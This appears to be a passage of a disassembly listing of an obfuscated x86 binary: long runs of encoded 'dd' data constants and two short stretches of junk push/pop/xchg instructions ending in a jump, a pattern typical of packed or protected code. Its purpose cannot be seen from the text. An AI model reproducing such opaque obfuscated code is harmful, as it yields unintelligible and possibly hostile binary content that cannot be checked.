		dd 0AC007D8Dh, 0B185C706h, 0D506AC0Fh, 6A1462BDh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 663DC353h, 5491966h,	95583743h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 863241C3h
		dd 89C0A1B8h, 0AC29199Dh, 9DBD8106h, 0D006AC1Ch, 0F000007h
		dd 2F85h, 9D85FF00h, 6A06AC1Ch,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 35FC356h, 0C579B4B8h
		dd 0B509134Dh, 6AC214Dh, 1C9DB5FFh, 816606ACh, 60A465C6h
		dd 6880FF8h, 0B000000h,	0AC009DBDh, 95FF6106h, 6AC2145h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 1FC35040h
		dd 0B1852957h, 0E906AC24h, 9, 1565A4EAh, 767E14CDh, 8166901Bh
		dd 60F3EDF6h, 7E8h, 118BD200h, 98F8E689h, 141DBD89h, 0BA6606ACh
		dd 8B5AEEDCh, 0AC23A98Dh, 8B606106h, 81DF80F7h,	5E961h
		dd 4A680000h, 0E90DEC7Eh, 0Eh, 0AE67C4F7h, 0E8D98AD4h
		dd 5B9DD7ECh, 85094944h, 6AC2025h, 29FEB70Fh, 0AC21758Dh
		dd 758D8906h, 6A06AC34h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 41B6C356h, 0FEB4F739h
		dd 0BD8900E4h, 6AC2E25h, 33CBDE81h, 6A0384h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 735C8CC3h
		dd 118F0452h, 9589F28Bh, 6AC1C25h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0BDC35141h,	181885E5h, 7D1CBE35h
		dd 6830F51h, 0F000000h,	8Fh, 23605E00h,	0AC32A5B5h, 0CE906h
		dd 0AB490000h, 6FCEFC93h, 2B6ECD77h, 0E961F2C8h, 0FFFFF804h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F5C35747h
		dd 56D71F07h, 8BD97FE6h, 0AC1171BDh, 0F2BF0F06h, 50006A60h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0F8014E77h, 0CBC281EDh, 0B933BDB9h, 0FFFFFFFEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A6C35343h, 8D21232Ch
		dd 6AC3365h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	54C35646h, 0B8DA0248h, 8F9BD8Bh, 11E906ACh, 2B000000h
		dd 33F96B16h, 26635260h, 1E45FAD5h, 0DACEC152h,	85D8D21h
		dd 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 641D21C3h, 0DFCAAD6Fh, 31A3066h, 0AC053195h
		dd 658D8B06h, 6A06AC33h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 2B1CC355h, 4C36A1D6h
		dd 0F67B687h, 128Bh, 0DE900h, 0C81B0000h, 0F28F8FC2h, 209C92EAh
		dd 66BB337Ah, 2B43D781h, 0F01E183h, 2885h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 65B58B85h, 2906AC1Fh, 0AC33B9BDh, 5D8D8B06h,	6A06AC08h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 535BC353h, 0ADEC1EF7h, 931C4B9h, 0AC111D9Dh
		dd 1E18306h, 3F850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 5122E4C3h, 0B58BE0EBh
		dd 6AC11E1h, 14E9h, 4B4D8D00h, 36CF0412h, 0C7D40112h, 94E8F9Bh
		dd 0E32D105Bh, 11E96199h, 54000000h, 3F9913h, 3	dup(0)
		dd 548E9h, 8440D300h, 0DC18F545h, 873FAD1Dh, 0DE16F646h
		dd 8440AF1Fh, 82C13845h, 0C272B36Bh, 9D2DEC28h,	0C474B571h
		dd 632AEB23h, 164B8132h, 0B790E8E3h, 77AD5E3Bh,	0AB85F8BFh
		dd 5BE83BD1h, 0EF92D505h, 8848664Ah, 0D617CF3Eh, 85C12D87h
		dd 0B17FF1D7h, 0CA60A05Ch, 0AC5D6DE4h, 80407C6Ch, 164AF92Ah
		dd 5BEF9327h, 2F995977h, 1448FBBEh, 59EF9327h, 0BF15A675h
		dd 0CEF9326h, 78CE0E20h, 0A99B5B93h, 4FB8DD89h,	0C0EE4497h
		dd 85A5CA45h, 3A6BA821h, 5AB6628Ah, 35058CA2h, 30EC01D9h
		dd 4BE73D18h, 755B0E17h, 2CE804B4h, 679F4FFFh, 0C0FC11A7h
		dd 0D84AA00h, 0AA8F79CFh, 9297C319h, 0A2408EFh,	234F6DCAh
		dd 9B5A927Eh, 0F416C22Bh, 7C52F838h, 97D009BCh,	84A4EF92h
		dd 0D1880CE8h, 8680C0BBh, 0C000000h, 0B171AD5Eh, 7CB856E6h
		dd 0AC9F16BCh, 0EF933576h, 0F2462202h, 0B070AC42h, 0E828E406h
		dd 6CE56C42h, 0C0BB4FE8h, 85CEFBEh, 55EF9342h, 0B7FF079h
		dd 0AE000000h, 436EE1Eh, 44EE2EE6h, 0B15E41CDh,	0B3E2B575h
		dd 9335CC00h, 0B43D11EFh, 6FAF6784h, 35F531D9h,	3685D407h
		dd 0EF9335E2h, 0A88A032Fh, 0BE7499BCh, 0DEA1C413h, 0DCCE2ECh
		dd 5DB9F65Ch, 1BDE4783h, 9149A292h, 2390437Bh, 0EF92C7EDh
		dd 0F1301E32h, 77AF5EFDh, 30EC01B7h, 5B3795F0h,	0EE2FE706h
		dd 0B171AD5Eh, 0ED2DE907h, 3083B65Bh, 0EF9335DCh, 0E3230D21h
		dd 0BB7BB355h, 84BDA989h, 805C082Ch, 0C0BB4914h, 973Ch
		dd 0B05DED00h, 5E71FD74h, 45816BAFh, 1DD93385h,	775977DDh
		dd 2B1E0B7h, 0EF9335CEh, 86B63F13h, 0AEE25168h,	0F3EF9335h
		dd 9222F1DFh, 0DCF467Eh, 6946EC3Fh, 0A66A73C5h,	0E4C2D27Ch
		dd 38160386h, 0A2F793B1h, 0E252934Bh, 4413D30Bh, 0A272A615h
		dd 93BFEF92h, 0AC22A1Ah, 0A6C2E6CAh, 0BBDADE4Ah, 55F2C0h
		dd 5E7E0000h, 0EF3671AFh, 3D28BB0Ch, 0E5132695h, 0B19FB1E7h
		dd 0F32BC771h, 0AE668533h, 0F72FD86Eh, 0D6B29037h, 0AC1C339Fh
		dd 0EB41813Dh, 71244062h, 0AFA3629Ah, 0A675B15Eh, 0CB20F816h
		dd 5779D313h, 76B43D97h, 93358AC3h, 224E6EEFh, 0BB4F42C6h
		dd 146C0h, 5ECA0000h, 0F6A774B0h, 93360F45h, 599579EFh
		dd 8243399h, 14F54381h,	51BB0BD8h, 934BA795h, 0B270F953h
		dd 386EC415h, 6BCB722Eh, 0B9EF5C8Fh, 6EF9238h, 0E581A32Ah
		dd 4CBE5AB0h, 1A7FBE90h, 0D467B4DEh, 0E52E45E5h, 0B3DF406Ah
		dd 4CA04099h, 53E0B162h, 0F63F05FDh, 25E76E42h,	91427A93h
		dd 61D73C0h, 0B362F63Fh, 3F05CC00h, 133D11F6h, 5908599Ah
		dd 3F05B6EAh, 5ED7FBF6h, 81417D6Eh, 3F05DE34h, 284498F6h
		dd 2276C594h, 4AF63F06h, 517D6AA2h, 0DBFFE8D8h,	943EFE36h
		dd 52924AA6h, 4617D6F8h, 22C414F6h, 7D4DC4EAh, 3383508Ch
		dd 68AA23DBh, 0FDED2DDEh, 4A2FEFC1h, 30D97CE8h,	0B83C35F4h
		dd 0EE39EF7Fh, 826AAE5Eh, 0E208A4Ah, 4B764CEh, 0F63F11D0h
		dd 37B8311Dh, 0FCh, 3D15BFBBh, 0DA6EBB75h, 9652B73Eh, 2F7E2FFCh
		dd 92C9489Ch, 30B995EFh, 2EB61A03h, 4B8BA7E5h, 11D00CFDh
		dd 7C9048A1h, 0F9AE6E40h, 0E168A449h, 3CFC38D1h, 0CA8FFB59h
		dd 7524E521h, 2EEE26C5h, 840D84h, 5639EF18h, 0CCC08E6h
		dd 5DA02FA6h, 2C000000h, 21DF0FBFh, 8FFCDFA6h, 0F1311FC2h
		dd 4769A547h, 0D0599575h, 4B98F235h, 92E3C4F8h,	4DBD0D6Fh
		dd 72FB5191h, 7FB75767h, 0F0249151h, 806F92E3h,	0C070C4A0h
		dd 9E7BF22Ah, 53E03359h, 0EF92E41Dh, 0C2FA1222h, 0D67C2DECh
		dd 729DEA07h, 458F0665h, 54h, 924AA212h, 0FD71F852h, 124415BFh
		dd 94BDC846h, 563CF81Dh, 0D93B3685h, 0ECC0E52Eh, 0B5719A2Ch
		dd 0EB23C474h, 4459E2Bh, 0ED31F63Fh, 0F32BDC81h, 0F9935732h
		dd 27B6992Ah, 0D7FBEBCFh, 9048A117h, 5090BE76h,	31B9D5F7h
		dd 0FF4C9FF5h, 0F27F471Ch, 808C4D61h, 0F6254F8Bh, 23578245h
		dd 30E3CFE5h, 466B449Ah, 3AB3D52Fh, 4DFEAFF8h, 0F643D017h
		dd 0CD604864h, 56A1CBE1h, 7394A42Dh, 9B2B7ABBh,	8945A971h
		dd 0ED1E2EA7h, 0B244F131h, 1E97585Ah, 0DE0F523Eh, 0B657E726h
		dd 0E008BE7Eh, 0A947F724h, 8E07AD6Dh, 8A3AEB4Ch, 0B5EB5861h
		dd 0FA2F6C86h, 9238F8D6h, 84D391Bh, 56E627DFh, 0F5B979B5h
		dd 3, 5E7200FFh, 0DBB7BB3h, 56E020DCh, 74C202BAh, 2C9A5A92h
		dd 77C101BDh, 2A9C5C98h, 7CCA0AC2h, 2096568Eh, 0DDD313CBh
		dd 81E18951h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 6C685C24h
		dd 89000044h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, 6B01F8Dh
		push	edi
		mov	edi, ebp
		mov	ecx, edi
		pop	edi
		pop	ebp
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [esi+8]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		dd 2458B8FDh, 0C50306B0h, 0D68BE0FFh, 817B0F94h, 0BC761A6Fh
		dd 5DE12B4h, 190A0695h,	0EBFC5B1Fh, 3A971E63h, 0DA443373h
		dd 50D52933h, 58C05026h, 27B4530h, 9F55613Dh, 0B4AC577Bh
		dd 76CB5018h, 0FA4069A2h, 768F4607h, 9B1D50D5h,	2724E46h
		dd 0DE911DFFh, 703C2288h, 0DFB203E4h, 566025F1h, 8E960h
		dd 60080000h, 26F7CBD1h, 9D29BB71h, 6AC1CDDh, 0FEB95861h
		dd 6AFFFFFFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0B0A4C352h, 69BD2B87h,	2106AC25h
		dd 0AC24A18Dh, 7D850906h, 2106AC06h, 0AC052D8Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 59EBF81Fh, 0DDB58BFDh, 6006AC0Dh, 27998D8Bh,	958B06ACh
		dd 6AC31D9h, 0A18D8B61h, 8B06AC24h, 0AC24DD95h,	1E18306h
		dd 10850Fh, 0BE90000h, 7E000000h, 38BCB610h, 604BCB55h
		dd 8D8B9C3Ah, 6AC052Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0E4C35040h, 0E1833F66h, 2850F01h, 8B000000h
		dd 606061C3h, 0F91958Bh, 0B96106ACh, 0FFFFFFFEh, 0FDB58B60h
		dd 0E806AC0Dh, 0Bh, 64F59C5Dh, 1A386BC7h, 0E9BE4970h, 12h
		dd 9768030Fh, 96D32DC0h, 0EA8F7751h, 187B252Dh,	615B3A3Eh
		dd 13AD8D21h, 9D8906ACh, 6AC1BB1h, 24F98D21h, 0B58B06ACh
		dd 6AC1965h, 13AD8D8Bh,	858B06ACh, 6AC07D1h, 0F01E183h
		dd 2385h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 9D3158DDh, 6AC32A5h, 24F98D8Bh, 6A06ACh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8BBCDDC3h, 0AC07F5B5h, 498D8906h, 8306AC26h,	850F01E1h
		dd 4, 5AB9BE66h, 6A6061h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 92D1E9C3h, 723DBB51h
		dd 0FF219F1h, 686h, 0B1858B00h,	0F06AC33h, 682h, 75C38100h
		dd 0B9110D98h, 0FFFFFFFEh, 5459589h, 8D2106ACh,	6AC0FB1h
		dd 11E8h, 86572D00h, 4880DD4Bh,	4C67427Eh, 53A7D766h, 81570C03h
		dd 0B848C8CFh, 0E95E5A65h, 5, 0D9DB81E1h, 0F98D217Fh, 6A06AC0Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0B8C0C356h, 0BAA35F4Bh, 8955242Bh, 0AC055185h
		dd 0B18D8B06h, 6A06AC0Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 6C94C351h, 1AF1BD8Bh
		dd 0E18306ACh, 0B850F01h, 0F000000h, 58Bh, 9C4ABA00h, 8D8B317Fh
		dd 6AC0FF9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0F8C35141h, 98767DFCh, 4E452AA5h, 9C19589h, 0E18306ACh
		dd 13850F01h, 0E9000000h, 0Eh, 0BDDEB381h, 0BB3CE809h
		dd 2282CABEh, 606104CFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0FEC35343h, 13D3D87Ch, 9698D89h, 14E906ACh
		dd 0C3000000h, 8DB49C66h, 0FDD8B6A4h, 383EA6CCh, 0D7179C77h
		dd 0C7AE829Eh, 0AC1C9D85h, 7D006h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0AE7B23A4h
		dd 0CFB70FA0h, 55006A61h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 3726E5C4h, 5B71C665h
		dd 7EBDCB8h, 0E99D61h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CCCCC352h
		dd 507EE667h, 980CF291h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 90BB06CDh, 8B78390Ah
		dd 75E9C1h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 1281B5FFh
		dd 858D06ACh, 6AF6929h,	8589D0FFh, 6AC0705h, 0EFC1FE8Bh
		dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 70595FFh,	32E906ACh
		dd 0C6000000h, 0AC333985h, 0DF685606h, 0FFA9C530h, 0AC210DB5h
		dd 29858D06h, 0FF06AF69h, 858589D0h, 8D06AC33h,	0AC23E185h
		dd 206A5006h, 0FF56056Ah, 0AC338595h, 0C1C36106h, 32E906E0h
		dd 0DA000000h, 82F0h, 0Bh dup(0)
		dd 5A4E900h, 19F40000h,	3FAC1CDDh, 18F64687h, 3DAD1DDCh
		dd 19F04081h, 98611CDDh, 29E824CBh, 76B76F99h, 33F22AC6h
		dd 73B26A83h, 84D86B3Ah, 0C9E8E30Ch, 0AD5E62EEh, 0E807B171h
		dd 0AC5DED2Ch, 35EA3E8Dh, 1B37EF93h, 0AA43F535h, 55E5B272h
		dd 71B27FB5h, 55390584h, 2DC2F27Bh, 7A9222F1h, 0A1288242h
		dd 15715163h, 0AE6FA740h, 0C71DAEFFh, 14EF926Ah, 6B2276C5h
		dd 436FEF92h, 38D4E46Dh, 719F2FFCh, 4FFF3CB5h, 579D6DA3h
		dd 4ECC3EEBh, 0A6F7A060h, 24C7520Ch, 5A6BE45Bh,	0EF92C206h
		dd 0DEEE674Bh, 8630F02Ch, 0D86EAE66h, 1F37F72Fh, 0CDEEA7C3h
		dd 32DE83EFh, 628B3BFAh, 86DF6AAAh, 0EEEF92C1h,	0F935DBFFh
		dd 4BA117D7h, 0A77B5393h, 4248ACBh, 3B088C68h, 7000C0BBh
		dd 0D1000000h, 72B3347Bh, 60E920EDh, 77AD5EECh,	0B5B49A32h
		dd 6BAB8591h, 931288DEh, 204C6CEFh, 0BB6C40C4h,	148C0h
		dd 5EC40000h, 0E2B575B1h, 35CC00B3h, 3D11EF93h,	0B36784B4h
		dd 4888A65Eh, 16D60EFEh, 35680424h, 7FCF1CD8h, 0C91FAC8Dh
		dd 16EF9335h, 7ED4143Ah, 638434F7h, 22C878ABh, 0FA32D8EAh
		dd 0DA19903Ah, 1BD33B8Bh, 44806DDBh, 5E6FE36Ah,	1B777AFh
		dd 0DA936ECh, 1D414733h, 128CB6Ah, 81AF811Bh, 0EA862441h
		dd 5D9C58B7h, 0C0FCEDh,	5C9C58B6h, 0DC385470h, 0C0BBE548h
		dd 8240h, 0AF5ECC00h, 850EA477h, 0B73CD75Dh, 0BC7CB850h
		dd 73B13816h, 0BF779424h, 2CE80636h, 64A04FFFh,	3D1D2FEDh
		dd 21DD0C51h, 0BC10A3F2h, 1EF92ECh, 3667A42Dh, 4F853667h
		dd 9CEF92ECh, 0EC4B81B0h, 0BC90EF92h, 2EE60535h, 74B058EEh
		dd 0FF4F98B4h, 7F5DD410h, 63F713h, 6669C0BBh, 0E5000000h
		dd 846BAF5Eh, 0D13E8848h, 517FD515h, 0E509BF7Fh, 1DC1E929h
		dd 1BD2C71h, 6A3E78D2h,	3734308h, 5E45498Ah, 0F7A675B1h
		dd 0CF7865Dh, 637C3B7h,	0EF92E2D2h, 78BA331Fh, 92E294CDh
		dd 3B360EFh, 4C02DEDh, 0E581A32Ah, 0BB1C8D09h, 1387C0h
		dd 7560000h, 0EEAFE556h, 0D0FCEF92h, 92EEABE1h,	55DCF0EFh
		dd 68B05ED9h, 0B7644A82h, 88700A1Dh, 61E886D8h,	3EF415A3h
		dd 0E3CC4E86h, 0EDDF32Eh, 50904CBEh, 7B173FAh, 5AEC2CE8h
		dd 8AB878B4h, 0A487BEAAh, 59B7EA86h, 0FD395C9Dh, 0A5154497h
		dd 0E3498945h, 774D8330h, 0BE92EF92h, 85350437h, 0D47EE52Eh
		dd 438D9BFBh, 8F9A13D1h, 34D563A3h, 9B3111FEh, 78568E16h
		dd 24E009B9h, 15F951E4h, 21FDF63Fh, 3FF71045h, 619D4EFEh
		dd 38F617A1h, 7DDA8CCCh, 0F427095Eh, 0AB6BA344h, 2B61D201h
		dd 70F63E46h, 0A117D55Ch, 0E553934Bh, 230DCD09h, 0CF2E6703h
		dd 4C02E9Eh, 0C5E76EC4h, 0DB13F4A9h, 0BF97131Ah, 759D39EFh
		dd 11000001h, 0F6254F8Bh, 0F45F6A7h, 5CEF9336h,	0E3CAF970h
		dd 0ACE52F21h, 0BE28F01Ch, 42E82806h, 32F2DECBh, 6AAB6384h
		dd 0B2668B3Bh, 4E8EA05Ch, 0AC5D6DE4h, 0E506B070h, 4A3167D4h
		dd 527EF63Fh, 7BD9BC7Ch, 65A14A0Fh, 0A329ADA4h,	6F2339E8h
		dd 0AF000000h, 0F5264C8Bh, 35C117A4h, 220EEF93h, 0B3C97AABh
		dd 0B86F9335h, 52035494h, 9335ABE1h, 0EEDCF06Fh, 0AF05C501h
		dd 35BF1526h, 0C5296F93h, 2D9EC909h, 6F9335F7h,	0B55A6844h
		dd 8C4C8865h, 6FC80826h, 2E9D214Dh, 6F9335FAh, 0EF456B47h
		dd 0EC2BA3CFh, 0B4045586h, 23109955h, 0EF93360Dh, 47ED3E12h
		dd 73070A85h, 3DFE777Ch, 0B777h, 4F8B7D00h, 6845F625h
		dd 0F5E52F28h, 51BA0AD9h, 5485DB68h, 0E6CAF63Fh, 0DB13FAC8h
		dd 0FA38B11Bh, 0A2639B4Ch, 0EE3DF912h, 54D80CBFh, 925F63Fh
		dd 9CF74280h, 5AF63F53h, 0FC56EA86h, 2E302B76h,	8386AE89h
		dd 0A946013Ah, 4AA3931Ah, 0F2365392h, 0AA1A4B98h, 32018844h
		dd 0EBD0244Dh, 0C87EBE92h, 0C713FB1Fh, 862CEC28h, 0ECC268A8h
		dd 16C3953Fh, 0DAE286C5h, 0E7369153h, 9A21D04Dh, 98113955h
		dd 0DA6ACEBAh, 987DF430h, 0AC22A5Ch, 15A6F724h,	0FCEF6ABFh
		dd 78A9200Ch, 7F9204CBh, 0D03D8DF2h, 0FC72614h,	0F9EC65CFh
		dd 2AEA22C9h, 0ACE05380h, 0F1039F93h, 3E32F3DDh, 21DD0FBFh
		dd 0E3894DA8h, 3AD16130h, 53380B82h, 98E5235Dh,	39D767B4h
		dd 0B674FDh, 922229E7h,	57374160h, 644CDD3Ch, 2907BE37h
		dd 6DA34AFAh, 6018BB9Ah, 870E2007h, 0E3BF1544h,	8154F1EAh
		dd 30D9E960h, 2466BA09h, 87ABF644h, 97D07AA9h, 0D6BDE1A7h
		dd 3B674FDh, 0EC56AE9Ah, 97CAA686h, 0CF7FBE76h,	9026E61Eh
		dd 904CA078h, 14D4FA50h, 803362B3h, 0FC76AC4Ch,	1634BD91h
		dd 0EC6277Ah, 0BFD177DDh, 9D9BD18Bh, 8667D714h,	3F26A348h
		dd 0FB3F17CFh, 5191BF9Eh, 31Dh,	72001700h, 0BB7BB35Eh
		dd 0E020DC0Dh, 0C202BA56h, 9A5A9274h, 0C101BD2Ch, 9C5C9877h
		dd 0CA0AC22Ah, 96568E7Ch, 0D313CB20h, 5E5456DDh, 4C681h
		dd 0EE830000h, 24348704h, 725D685Ch, 0C890000h,	72CF6824h
		dd 14890000h, 0FFB85024h, 68077A62h, 1CA4B55h, 58C13159h
		dd 24148B54h, 4C481h, 51530000h, 1242C81h, 5B261F24h, 2401C381h
		dd 5A89261Fh, 148B5B08h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		db 0A9h
		dd 0D9B849EFh, 306B02Eh, 2AE0FFC5h, 0F419DADDh,	1A678283h
		dd 344E658Fh, 0C00AFC73h, 0E078F295h, 2841F099h, 13322DF1h
		dd 35142EA2h, 47311CA7h, 240104FFh, 0B162A08Ah,	320A0494h
		dd 1636F99Eh, 0AC5D6799h, 22CB917h, 562BD2BFh, 9B663EA9h
		dd 6C7057E0h, 0AE4B4D46h, 130DDF53h, 234F7090h,	98461FB1h
		dd 882A4C5Ah, 1E48B189h, 0BF1BBFCFh, 667B7C6Ch,	1044FA70h
		dd 0E4FFCBBh, 602E1B67h, 7E960h, 4BDC0000h, 78F75D43h
		dd 0C18B6621h, 6AC08B61h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 2C4FC350h, 50D47C1Ah
		dd 0F5950997h, 0F06AC1Fh, 1582h, 0F830F00h, 0E9000000h
		dd 0Ah,	0E4D8D781h, 1E78EE2Ah, 0BD8334EFh, 6AC1E85h, 83097500h
		dd 0AC0A29BDh, 19740006h, 0C08B5350h, 438B8h, 89858900h
		dd 8D06AC08h, 0AEA2649Dh, 5BD3FF06h, 29BD8358h,	6AC0Ah
		dd 53501774h, 438B8h, 89858900h, 8D06AC08h, 0AE9F539Dh
		dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 91B58B02h, 0BE06AC26h, 5C9DD7D4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B1C35545h
		dd 80D18293h, 0C08BA8F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0AEC35343h, 24499D29h, 43E806ACh, 6A000008h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6D8AC351h, 1C5615Eh, 0AC152DB5h, 5D958906h
		dd 8906AC26h, 0AC092585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E8B94210h
		dd 7EEh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 18h,	0C35242h, 1E73E806h, 6288FCBFh,	79858943h, 6606AC0Dh
		dd 0CE81F38Bh, 55F454Dh, 7B5E8h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0FC3E0204h
		dd 281070CBh, 98589F9h,	0E906AC30h, 0Ch, 0E7F65D6h, 6C192322h
		dd 0D8E90424h, 775E8h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B70F3F4Eh, 0D8589FAh
		dd 6A06AC27h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 48B8C351h, 72DE8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8BF38B1Ch, 0AC1FA9B5h, 3D858906h, 0B906AC25h, 554E079Ch
		dd 6F9E8h, 8963B500h, 0AC115585h, 0EDB58B06h, 0F06AC32h
		dd 0C8Bh, 68D0F00h, 8B000000h, 0AC11C1B5h, 6D4E806h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 316E73C3h, 8D8900EBh, 6AC0831h, 118D8589h, 39BE06ACh
		dd 0E846D082h, 69Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 4AC35343h, 93EC647Ch,	0C6CEBF66h, 10E9h
		dd 4875AB00h, 0AAA30FDDh, 0A0637402h, 8D71404Dh, 0F585891Fh
		dd 6006AC2Fh, 0DE9h, 870D8000h,	0EDF37715h, 76D44A1Eh
		dd 0B58BBFE1h, 6AC2449h, 31F78161h, 0E83B5959h,	63Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A4C35141h, 0DED1FD47h
		dd 0B58B3473h, 6AC0571h, 18589F9h, 0F806AC28h, 605E8h
		dd 499D3100h, 6606AC32h, 8589F18Bh, 6AC2DA1h, 1ABDB58Bh
		dd 0EBE806ACh, 8B000005h, 1D8589F9h, 6A06AC27h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 73D8C352h, 29B58B8Eh, 0E806AC34h, 5BAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 76C35747h, 0BF66C88Bh
		dd 8589697Bh, 6AC33E5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 6EC35040h, 8817F742h,	0ED9ABE66h, 67E8DBB5h
		dd 0F000005h, 282h, 1CB8B00h, 0AC06ED8Dh, 0C5858906h, 6A06AC30h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 71FDC351h, 57CF8BA0h, 8BB598B8h, 529E8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 5AFC9F4Fh, 0BD8B2243h, 6AC09CDh,	0E098589h
		dd 0E9FC06ACh, 6, 0EA65C71h, 0EBE8282Bh, 89000004h, 0AC28B185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0CFC9B029h, 0BE665225h, 0E85F5B96h, 4BAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0B2C35040h
		dd 8938AC54h, 0AC08B98Dh, 4D850106h, 8906AC27h,	0AC0EA185h
		dd 4DBD8B06h, 0B006AC31h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B58B6A1Dh
		dd 6AC29B1h, 6AD8B60Fh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 7CE6C356h, 0D681D4E0h
		dd 704327h, 6BAh, 0DBD2900h, 8B06AC08h,	57006AC3h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0FE610904h, 0C1FFBA0Fh, 6A04E8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0C55451C3h
		dd 8BD47DBAh, 0AC11FDB5h, 0FFB70F06h, 0E2F766F5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 50C35242h, 0EB417897h
		dd 0C36522F0h, 0F0F8BA60h, 2B610001h, 21C8B9D8h, 0F5057BBh
		dd 58Ch, 0CBB3BF00h, 1C892BADh,	8E924h,	0C5CA0000h, 8B36C690h
